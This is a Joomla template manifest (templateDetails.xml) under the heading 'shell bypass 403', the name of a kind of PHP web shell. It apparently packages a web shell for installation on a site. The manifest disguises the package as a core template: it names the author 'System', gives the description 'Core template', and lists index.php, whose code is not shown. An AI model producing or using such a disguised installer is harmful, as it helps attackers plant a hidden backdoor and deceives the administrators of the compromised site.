shell bypass 403
<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="template" client="site" method="upgrade">
<name>tpl_index</name><author>System</author><version>1.0.0</version>
<description>Core template</description>
<files>
<filename>index.php</filename>
<filename>templateDetails.xml</filename>
<filename>index.php</filename>
</files>
</extension>